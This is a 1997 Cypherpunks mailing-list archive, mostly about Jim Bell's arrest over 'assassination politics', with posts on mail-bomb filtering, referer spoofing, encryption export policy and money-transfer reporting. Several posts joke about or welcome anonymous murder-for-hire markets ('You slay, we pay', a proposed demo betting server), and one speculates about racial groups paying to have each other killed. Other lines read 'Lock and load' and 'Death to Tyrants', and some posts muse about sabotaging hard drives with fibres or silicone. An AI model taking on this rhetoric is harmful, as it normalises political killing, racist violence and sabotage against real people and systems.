observations are obvious to anyone who looks at untraceable digital cash,
especially when ancillary services, like untraceable third party escrow
services ("You slay, we pay") are just as possible.)


>The government is only lending credibility to Bell's paranoia by
>behaving like jackbooted thugs.

Indeed, if he is tried his ideas will be spread far and wide...and some may
even think "Hey, let's try it, except let's target it toward collecting
money by our Irish friends for killing of British politicians and royals."
(As with Phill Hallam-Baker, this is how I think it will turn out. Ordinary
Americans are too sheep-like to donate money to have Janet Reno, for
example, killed. We don't get fired up in large enough numbers. Except I'll
bet (no pun intended) that a lot of whites would contribute to see certain
blacks killed, and vice versa.)

Now that Bell has been arrested, if he is _not_ tried, his fame is still
assured.


>Is this federal agent Bell is supposed to have interfered with
>one of the agents who arrested him?  Sounds like fabrication from
>whole cloth to me.
>

Probably covering their asses. Once his home was raided, and the case
publicized in the leading papers (apparently tipped off by the cops), kind
of hard for them to just back down and say "Oh well."

Some DA probably figures he or she can make a political name by prosecuting
the first case of "Internet terrorism."

Fucking fascists make Bell sound less crazy.

Lock and load.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 12:30:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190359.WAA12331@manifold.algebra.com>
Message-ID: <199705190418.VAA00419@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor writes:

> Wait, aren't hard drives hermetic?

No.  There is an absolute filter between the interior and the outside
environment through which some airborne agents can pass. 

Silicones are particularly nasty in this respect. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 13:13:40 +0800
To: Alan Olsen <mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <v03007800afa59738ec88@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:12 PM -0800 5/18/97, Alan Olsen wrote:


>>I can't imagine how one would get the carbon fiber into the
>>interior of the drive.
>
>Neither can I.  Maybe it was supposed to short out the electronics.  Imagine
>what that would do to your lungs!  Youch!

Attacking electronics with conductive fibers is an old idea. (Not to sound
like a grumpy old man, but I recall discussions of this at the conferences
in Albuqueurque and Seattle I attended for Intel in the late 70s.)

I understand that carbon fibers were dropped on Iraqi systems during the
Gulf War.

If the government narcs in Portland are damning Bell for playing around
with the work done on this area, even including obtaining carbon fibers,
this'll be thrown out (I predict).


"Plans to destroy the Net thwarted!" is the headline they want to see.

--Tim May




>The IRS seems to have overstepped a little in this case...  The sealed
>warrents are an attempt to keep it from being examined in more detail.
>

If the "cyber-journalists" who write puff pieces on how great SAFE is are
out there, they ought to be giving this front page coverage.

(Wouldn't a better use of AP be to target AP, so to speak?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 11:14:45 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007809afa575b7ce29@[207.167.93.63]>
Message-ID: <199705190301.WAA11868@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Timothy,

If mailbombing bothers you, get a Unix account and procmail. The following
procmail recipe may help:

:0
* > 100000
/dev/null

You may have not as many enemies as you imagine, though.

igor

Tim May wrote:
> 
> (I was locked out of getting my mail tonight for more than an hour, when a
> member of the Cypherpunks list _mailed_ me a several-megabyte file without
> asking first. As I explain in my message to Steve Schear, I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine (I don't have a shell account anymore). I suppose
> by admitting this I am opening myself to being mailbombed by Dmitri V.,
> Vladimir N, and my other Russian (or ersatz Russian) enemies.)
> 
> At 10:47 AM -0800 5/18/97, Steve Schear wrote:
> >>I'll have to get it off the Iraqi or Syrian sites.
> >
> >Saddam doesn't want yanquis to think he is heartless.  Consider this a
> >humanitarian gesture from the good people of Iraq.
> >
> >Attachment converted: APS 1GB Fireball:PGP 50b16 Installer.sit (SITD/SIT!)
> >(0001153F)
> >
> >PGP mail preferred
> 
> !!!!!!!!!!!!!!!!
> 
> Your little "gesture" shut my system down through repeated attempts to
> download it. It would load a bit, fail, then have to start over. It took me
> more than an hour to get a complete download, at which point I could
> finally delete that 4 MB file.
> 
> (I use a POP server and Eudora Pro 3.0 and know of no way to abort or skip
> a load, except to call my sysadmin during business hours and ask him to
> delete the message.)
> 
> THANKS FOR FUCKING NOTHING.
> 
> Never, ever, ever send me a large file without asking first!!!!!!!!!!!
> 
> Disgusted,
> 
> --TCM
> 
> 
> 
> 
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 13:53:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518211245.00ac1200@mail.teleport.com>
Message-ID: <3.0.2.32.19970518222857.00b026c0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:50 PM 5/18/97 -0800, Tim May wrote:

>If the government narcs in Portland are damning Bell for playing around
>with the work done on this area, even including obtaining carbon fibers,
>this'll be thrown out (I predict).

Depends on who is trying the case.  Judging where the article in the paper
was 
at, and the lack of other media coverage, I expect them to make a quiet 
example of him.  (i.e. punish him in a way that the people interested in the 
case feel threatened but does not give the rest of the sheep any ideas.)

>"Plans to destroy the Net thwarted!" is the headline they want to see.

I don't think so.  I am amazed they have not mentioned the guns that were 
seized.  I am willing to be this is the first salvo in a very quiet and very 
dirty little war.

Maybe we should start an anonymous betting pool as to which one of us will be 
the next to be arrested.

>>The IRS seems to have overstepped a little in this case...  The sealed
>>warrents are an attempt to keep it from being examined in more detail.
>>
>
>If the "cyber-journalists" who write puff pieces on how great SAFE is are
>out there, they ought to be giving this front page coverage.

Where is Declan when you need him? :>

>(Wouldn't a better use of AP be to target AP, so to speak?)

I was very tempted to set up a demo AP server just to see what kind of
targets 
people would select.  (I do not believe that most people would select 
government employees.)  The slogan "Who do you want to kill today" has such a 
nice ring to it...  In order for such a system (or anarchy in general) to 
work, the general public has to be more aware of the type of state they live 
in.  With all of the "Bread and Circuses" that people are being subjected to, 
little wonder they are going along with the show.  (There are also a number
of 
psychological studies that show that people will do all sorts of horrific 
things to their fellow man when someone in authority tells them to.  If they 
are led to believe that they are "bad" in some way, many will enjoy it.)


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEVAwUBM3/lGOQCP3v30CeZAQGNxAf+KRfpFmu+JlENw5zvs9napDRKUKhVwp07
v+P6u5um+ziJ1oywV6wyko+A1aIvYxjXYlLsm5rghrCOY+BE16TFAdNfX9KVgfd1
8FMJwS0D+WwjerWet2AQZp1vlDD66R7hxeai/FhV9PsZrqPLGOYLpZY9+b8cNhqS
BYHXFMWieGgSBkmqqiGLJgfLitXbZo/vwN7IqUeclhHroh5xXL8UjoFrvVcbiqmH
OudcfmXWGCeyMBFoSMhBetYl6HVRYTG4D+3FPfItrc9zSKqszw1OJhX8rGl86aJR
B6da1X+qoQ8QMbnm/CmfIJMPoWYSlnQLYJc958xM6YJoC7ql9/baqA==
=vTdu
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 19 May 1997 13:50:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: referers and W3 (fwd)
Message-ID: <199705190529.WAA05241@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray, <ericm@lne.com>, writes, regarding Referer spoofing:
> What would make sense to use, other than sending
> "http://this/is/a/bogus/referrer/sent/to/mess/up/your/stats"?
> How about sending the current URL as Referrer?

One practical idea would be to set up the config file so that whenever
URL X is referenced, specified URL Y is sent as the referer.  This could
be useful for accessing web sites which won't show you information unless
(or if) they see a certain value in the referer field.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 12:16:18 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <199705190359.WAA12331@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Prof. Mike Duvos wrote:
> Alan Olsen <alan@ctrl-alt-del.com> writes:
>  > IRS agents arrest Vancouver man who called for killing
>  > federal workers
> 
> As I recall, Bell never called for anyone to be killed. He merely
> suggested that the construction of anonymous wagering pools would
> faciliate a market in the disposal of tyrants.

I can attest to that if necessary.

>  > Federal agents since have focused on a Bell theory that
>  > carbon fibers could be used to sabotage computer hard
>  > drives, thus disabling them.  East confirmed Bell's interest
>  > in using carbon fibers as a "computer killer" but dismissed
>  > it as a "goofball idea."
> 
> I thought microscopic amounts of airborne silicone were the
> preferred method of causing large numbers of drives to
> mysteriously fail.

Wait, aren't hard drives hermetic?

>  > The search warrant for East's home shows that the
>  > government also is interested in determining whether Bell
>  > and others have experimented with volatile chemicals in
>  > preparation for attacks on IRS offices and agents.
> 
> The government is only lending credibility to Bell's paranoia by
> behaving like jackbooted thugs.

While you are right, I think that the government is as, if not more, 
paranoid than Jim Bell or anyone else.

> Is this federal agent Bell is supposed to have interfered with
> one of the agents who arrested him?  Sounds like fabrication from
> whole cloth to me.

They may be simply harassing him. There is really no substance in
what we've read.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 19 May 1997 15:04:51 +0800
To: cypherpunks@toad.com
Subject: Re: Nature of Anarchy/ Anarchy of Nature
Message-ID: <3.0.32.19970518233507.006f3e4c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:

>Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
>of a planned economy and how the loss of property ownership and economic
>freedom leads directly and inevitably to totalitarianism.
............................................................


Or my favorite of all time:  "Human Action" by Ludwig von Mises.   It's a
large book - it could keep a collectivist New Age philosopher busy for
hours.    But even just reading the first few chapters would be sufficient
to provide some usefully deep ideas to explain fundamental things about
economic truths, of the kind which many cpunks are already in agreement with.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 19 May 1997 15:25:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007800afa4fe137428@[10.0.2.15]>
Message-ID: <3.0.1.32.19970519000346.00743730@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:26 PM 5/18/97 -0800, Tim May wrote:
>As I explain in my message to Steve Schear, I have no way of
>removing such "mail bombs" with my Eudora/POP system until they 
>have been downloaded to my machine (I don't have a shell account anymore).

Eudora does have a "Only download messages less than ___K" option
that can reduce this problem; I don't know if there's also
a way to delete the message from Eudora without downloading it.
Netscape Mail has similar options.

The old Netcom Netcruiser mail client software let you download
just the headers and then pick what messages to read ; I don't know
if the new NetComplete stuff does that or not.  Netcruiser was ugly
and somewhat broken, but occasionally did useful things.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 19 May 1997 15:27:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:

>It is interesting that they have kept the warrent sealed.  This, more than 
>anything makes me question the legitamacy of the whole affair.  Sounds like 
>the IRS is planning a preemptive strike on the Common Law Courts and the 
>people behind them.

There are two reasons I can think of immediately why the feds would keep
the warrant sealed. The first is that they don't want to reveal just how
little evidence they have. The second reason is that the warrant might give
some clue as to future actions/other suspects. Remember that the IRS agent
found the AP essay by means of an Internet search engine. That almost
certainly means he is following the discussions about Jim Bell on the Net.
Such as the discussion on Cypherpunks.

It must be truly frightening to this person to read some of the threads on
this list. Nerve gas, C4, race-specific biological weapons, bypassing
airport security systems, not to mention money laundering and tax evasion,
what hasn't been discussed here?

The feds may not be aware that the discussions on this list are usually of
a theoretical nature. Perhaps they decided to go after the
"co-conspirators". Like the anarchists in California with their AR-15's who
have so many mags that they can't even  remember where they all are. :-)

The fact that Jim is held _without bail_ would indicate to me that there is
more going on than might meet the eye.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 19 May 1997 15:28:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 5/18/97 -0700, Alan Olsen wrote:
>(There are also a number
>of 
>psychological studies that show that people will do all sorts of horrific 
>things to their fellow man when someone in authority tells them to.  If they 
>are led to believe that they are "bad" in some way, many will enjoy it.)

Right. I read a book on that. I think it was called "The Millgram
Experiment". Normal people would administer (fake, but they didn't know it)
electroshocks to a subject even after the subject had stopped moving and
could have been assumed to be unconscious or even dead. An excellent
demonstration of the power of authority. And the gullibility of the average
person.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 19 May 1997 15:43:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <19970519002811.31774@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 19, 1997 at 12:14:37AM -0700, Lucky Green wrote:
> At 10:28 PM 5/18/97 -0700, Alan Olsen wrote:
> >(There are also a number
> >of 
> >psychological studies that show that people will do all sorts of horrific 
> >things to their fellow man when someone in authority tells them to.  If they 
> >are led to believe that they are "bad" in some way, many will enjoy it.)
> 
> Right. I read a book on that. I think it was called "The Millgram
> Experiment". Normal people would administer (fake, but they didn't know it)
> electroshocks to a subject even after the subject had stopped moving and
> could have been assumed to be unconscious or even dead. An excellent
> demonstration of the power of authority. And the gullibility of the average
> person.

Present company excepted?  Of course, studies have shown a majority 
of Americans think they are better than average drivers...

The most important lesson of that study is that in this regard we
*all* are average persons.  There isn't any magic pill, or personality
trait, or belief system, or special knowledge, that makes us immune to
manipulation. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 13:51:19 +0800
To: cypherpunks@manifold.algebra.com
Subject: Sun Sells Encryption Software Overseas, Skirting U.S. Policy
Message-ID: <199705190536.AAA13148@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tomorrow's Wall Street Journal: 

http://interactive3.wsj.com/edition/current/articles/SB863997652645676500.htm

Sun Sells Encryption Software
           Overseas, Skirting U.S. Policy

           By DAVID BANK 
           Staff Reporter of THE WALL STREET JOURNAL

           MOUNTAIN VIEW, Calif. -- Sun
           Microsystems Inc. plans to sell advanced
           data-security software from a Russian
           supplier to overseas customers, a move that
           skirts U.S. export regulations and is likely to
           receive close U.S. government scrutiny.

           Sun is expected to announce Monday that it
           will sell encryption software licensed from
           Elvis+ Co., a company formed by scientists
           from the former Soviet space program. Sun

I actually think that Elvis+ is mostly composed of the former KGB 
scientists, not space scientists. I may be mistaken though. -- igor



           has a 10% equity stake in the Russian firm.
           The Elvis+ products will be shipped to
           overseas customers from Sun distributors in
           third countries to keep them from falling
           under U.S. jurisdiction.

           Sun's move illustrates how global market
           pressures are making it increasingly difficult
           for U.S. officials to control the spread of
           advanced encryption hardware and software.
           The technology, which scrambles data to
           protect it from computer eavesdroppers, is
           considered vital to the growth of electronic
           commerce. But export of powerful encryption
           products is barred under U.S. export-control
           laws, on grounds that terrorists and others
           will use it to evade surveillance.

           Challenge to U.S. Policy

           The Sun action will cause the Clinton
           administration to face a difficult decision, said
           Jim Bidzos, president and chief executive of
           RSA Data Security Inc., a unit of Cambridge,
           Mass.-based Security Dynamics Technologies
           Inc., a major supplier of encryption
           technology. "The government has to shut this
           down, or else the competitors of Sun probably
           have to say, 'We're going to do the same
           thing,' " he said. Mr. Bidzos, a long-time
           critic of the export controls, praised Sun's
           move as "blatant and in-your-face."

           An administration official said Sunday the
           White House didn't have enough information
           to comment.

           Computer-industry executives, concerned
           that they could lose a valuable market to
           foreign competition, have long discussed
           strategies to exploit loopholes in the export
           laws. But Sun appears to be the first major
           company to use foreign software to supply
           overseas customers. Sun executives said they
           hadn't discussed the plans with U.S.
           government officials but had strictly adhered
           to current laws.

           "This is not being done to subvert
           export-control laws but to deliver solutions to
           customers," said Humphrey Polanen, general
           manager of Sun's network-security products
           group. "Never before have organizations
           outside of the United States had access to
           such advanced security software."

           Privacy advocates said Sun's initiative would
           boost their goal of making high-strength
           encryption widely available. "We think the
           benefit for security outweighs the liability for
           law enforcement," said Jerry Berman,
           executive director of the Center for
           Democracy and Technology in Washington,
           D.C.

           Critical Distinction

           Elvis+ is based in Zelenograd, a Moscow
           suburb that was once known as the "Soviet
           Silicon Valley." The company's products are
           based on a security protocol called SKIP that
           was developed by Sun, but Sun says it
           provided no technical assistance to the
           Russian company. The distinction is crucial;
           the export controls cover any product
           developed with such assistance from a U.S.
           company.

           The product, which will be marketed under
           the name SunScreen SKIP E, employs various
           encryption algorithms, or formulas, including
           so-called three-key triple DES and 128-bit
           ciphers, which security experts consider to be
           virtually unbreakable. The algorithms, in wide
           use within the U.S., are used to scramble
           digital communications; in general, the longer
           the bit length of the encryption key, the more
           difficult the code is to break.

           Current export controls allow the export of
           cryptography keys up to 40 bits, which have
           been cracked by computer hackers in as little
           as 10 minutes. Companies with special
           approval from the Commerce Department
           have recently begun exporting 56-bit
           encryption software, but customers have been
           clamoring for much stronger keys.

           Global Competition

           The restriction on U.S. exports has opened
           market opportunities for strong encryption
           products from foreign competitors, including
           Germany's Brokat Informationssysteme
           GmbH and Siemens Nixdorf
           Informationssysteme AG, a unit of Siemens
           AG.

           "Sun's announcement is further evidence that
           current U.S. policy is forcing companies to
           look overseas to obtain strong encryption,"
           said Edward Black, president of the Computer
           and Communications Industry Association, a
           Washington D.C., trade group that is lobbying
           for relaxation of the export controls.

           Last year, RSA Data Security announced
           plans to fund an effort by Chinese
           government scientists to develop strong
           encryption technology, but the effort has
           stalled, Mr. Bidzos said. RSA now sends
           legally exportable products to its Japanese
           subsidiary, RSA Japan, for bundling with
           Japanese encryption software. "I can't just let
           this world-wide global electronic-commerce
           market take off without participating," Mr.
           Bidzos said.

           Sun's Mr. Polanen said SunScreen SKIP E+
           will work with other products based on the
           SKIP protocols. A commercial version will be
           available in August; evaluation copies are
           available for download from an Elvis+ site on
           the World Wide Web. The software will be
           priced at $99 for versions that run on
           Microsoft Corp.'s Windows 3.1 and Windows
           95 operating systems and at $149 for the
           Windows NT version.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 19 May 1997 16:14:10 +0800
To: cypherpunks@toad.com
Subject: Re: I Treat All My Enemies Equally
Message-ID: <3.0.32.19970519001748.006fa8c4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>  Blanc makes some excellent points about the average citizen being
>caught in a ping-pong crossfire in the conflict between government
>and anti-government forces. However, as I said, this is in the nature
>of conflict and the citizen's best option may be to make a daily 
>effort to resist the government oppression, no matter how small it
>may seem in any instance.
.....................................................


Appreciate all the kudos, TruthMongrel. <g>

The problem that I was talking about is that of not being able to
distinguish one's enemies from one's friends because they all act alike and
therefore being in a position of danger from either of them.   In that
case, it doesn't matter which philosophy (political, economic, etc.) one
should support; the immediate fact of the matter is physical - physical
safety from all those Cowboys & Indians trying to get rid of each other
regardless of the reasons or the purpose.

In that case they are not advancing the kind of philosophical cause which
supports superior values and which results in better circumstances.   They
are not "separating the wheat from the shaf", they are not being
descriminating about what should live and what should die, they are not
allowing innocent bystanders to make a decision about which side they're on
or what risks they are willing to take in the "war" which they may not
realize is happening.

In that case, the real end of a "terrorist" action is personal and has
little to do with a preferable way of life for humans, or grievances
against an unjust oppressor.   When two "opposed" groups are willing to
stick it you  without concern, there is no difference between them.
Because, what difference does it make?
    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 19 May 1997 16:08:20 +0800
To: cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress
Message-ID: <3.0.32.19970519010058.00685bdc@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri,  blowing smoke out his ears, wrote:

>the question is not "how do we hold the government accountable for
>our cash" but, "*when* will we"?
	[and]
>anyone who disbelieves in the authority of the US government
>yet sends them their tax money is a hypocrite.
..........................................................................


The first sentence implies that Nurilogical proposes that government should
be held accountable by its citizens, including himself ("*when* will we").

On the other hand, he obviously believes in the authority of the US
government, as he has always supported it in arguments on the list,
especially in counter arguments against TCM.

So, it appears that VZN is not *ready* to hold the government accountable,
preferring not to protest when his own money is withheld for him, but
hypocritically wondering when everyone will make this will happen.

However, he's correct:   similar to the argument I made about there being
no difference between those who kill the good along with the bad & the ugly
(that's from the title of a Clint Eastwood movie, for those who aren't
familiar with that line),  all those who argue for morality and libertarian
ideals, but still "give in" when it comes to tax time, are all losers. <g>    

But this shameless capitulation is intellectualized away with the
explanation that everyone is outnumbered by the men holding the legalized
guns, who are in turn supported by all those true believers in The American
Socialist Way of Life;  that way being: the reception of benefits without
any need to be consciously aware of, to identify, their actual source or
the actual method of their obtainment.
    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 19 May 1997 23:35:43 +0800
To: cypherpunks@algebra.com
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007800afa4fe137428@[10.0.2.15]>
Message-ID: <v03020907afa58d9629c5@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:26 pm -0400 on 5/18/97, Tim May wrote:


> I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine

My version of Eudora, and, I think, the freeware version also, has a little
check box in the "Checking Mail" settings dialog which lets you leave
messages over a certain size on the server, where you can delete them
without having to download them. Since I'm on about 100 mail lists at last
count, including, of course, the SET-dev list, where such godawful
cluelessness (including, BTW, the use of multimegabyte .pdf, Microsoft Word
<including macro viruses, of course>, and ASN1 files :-)) is commonplace, I
have found this little checkbox a godsend.

I have mine set at 100k. It works for me.

Of course, Tim doesn't get to read this message, or any other, for that
matter, to do him any good this time around...

If we lived here, we'd be home now. Self reference is a dish best tasted
cold, I suppose.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 19 May 1997 16:59:00 +0800
To: cypherpunks@cyberpass.net
Subject: New rules re money transfers to foreign locations
Message-ID: <3.0.1.32.19970519014545.008a2c30@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



The NY Times reports that new rules will be announced Monday which will
require non-bank financial institutions (like check-cashing stores, Western
Union, etc.) to report transfers of $750 or greater with a foreign
destination. (The old reporting threshold was $10K.) According to the
article, the new regulation is expected to generate approximately one
million additional forms per year for FINCEN/Treasury to process, and
require 25,000 such NBFI's to register with Treasury. The regulation will
take effect in 90 days after a public comment period. It does not apply to
cash, instruments like traveler's checks, or domestic transfers; it also
does not apply to banks themselves. (All of those mediums of transport are
covered by different rules with other reporting requirements.) 

See <http://www.nytimes.com/yr/mo/day/news/national/drug-cartels.html>.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Mon, 19 May 1997 17:55:13 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto use to foil law enforcement?
Message-ID: <3.0.1.32.19970519023657.00834370@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


I ran across this entry in the Congressional Record which discusses several
examples where encryption was discovered in the course of a law enforcement
investigation. 

[Congressional Record: September 18, 1996 (Senate)][Page S10882-S10886]

[...]

Mr. GRASSLEY. Mr. President, I'm pleased that the Senate has passed 
the eonomic espionage bill. This is an important measure that I believe 
will save American business significant amounts of money. The theft of 
confidential information from American businesses is a serious problem, 
and this bill takes important steps in the right direction.
  I am particularly pleased that the Senate has accepted the amendment 
I offered with Senator Kyl. This amendment commissions the first-ever 
study on the criminal misuse of encryption technologies. Under the 
Grassley-Kyl amendment, court officers who prepare pre-sentencing 
reports will include information on the use of encryption to conceal 
criminal conduct, obstruct investigations, and commit crimes. The 
sentencing commission will then collect and collate this information 
and include it in its annual report to congress.
  In this way, I am hopeful that Congress and executive branch will 
have reliable data on whether the criminal misuse of encryption is 
actually a problem and, if so, what response to this problem would be 
appropriate.
  As chairman of the Oversight Subcommittee on the Judiciary Committee, 
I did an informal survey of state-level law enforcement concerning the 
criminal misuse of encryption. This informal survey, while not 
scientific, provides valuable insights into the actions of the criminal 
element in our society.
  Here are just some of the responses my subcommittee received.
  In one case involving John Lucich of the New Jersey attorney 
general's office was involved, a computer was seized pursuant to a 
warrant in a serious assault case. Examination revealed that 
approximately 20 percent of the hard drive files were encrypted. 
Investigators sought the assistance of two different Federal agencies. 
Both of these agencies were unsuccessful in decrypting the files. 
Finally, a third Federal agency was successful in decrypting the files 
after expending considerable resources. The Decrypted files did not 
contain evidence of the assault but rather contained evidence of child 
pornography. The encryption type likely used was ``DES.''
  And Officer Tim O'Neill of the Roseville, California Police 
Department reported to the subcommittee that he participated in a 
search involving a complaint against a subject who was on probation for 
solicitation/annoyance of minors. The subject had a hidden encrypted 
file on his personal computer. In the ``slack'' area at the end of the 
file the officer found names, addresses, school, grade, and phone 
numbers of 4-5 young teen girls. The encryption type used was known as 
``pincrypt.''
  Officer Mike Menz of the same department advised the subcommittee 
that he was working on a joint State/Federal major check fraud case 
where part of the potential evidence was encrypted.
  Ivan Ortman, a senior prosecutor in Seattle, Washington, encountered 
some encrypted files and password protection in a cellular phone fraud 
investigation. For a number of files the popular and inexpensive 
``PGP'' type of encryption was used. Orton indicated that no effort was 
even made to examine the files as the police could not locate any 
method for ``cracking that encryption.''
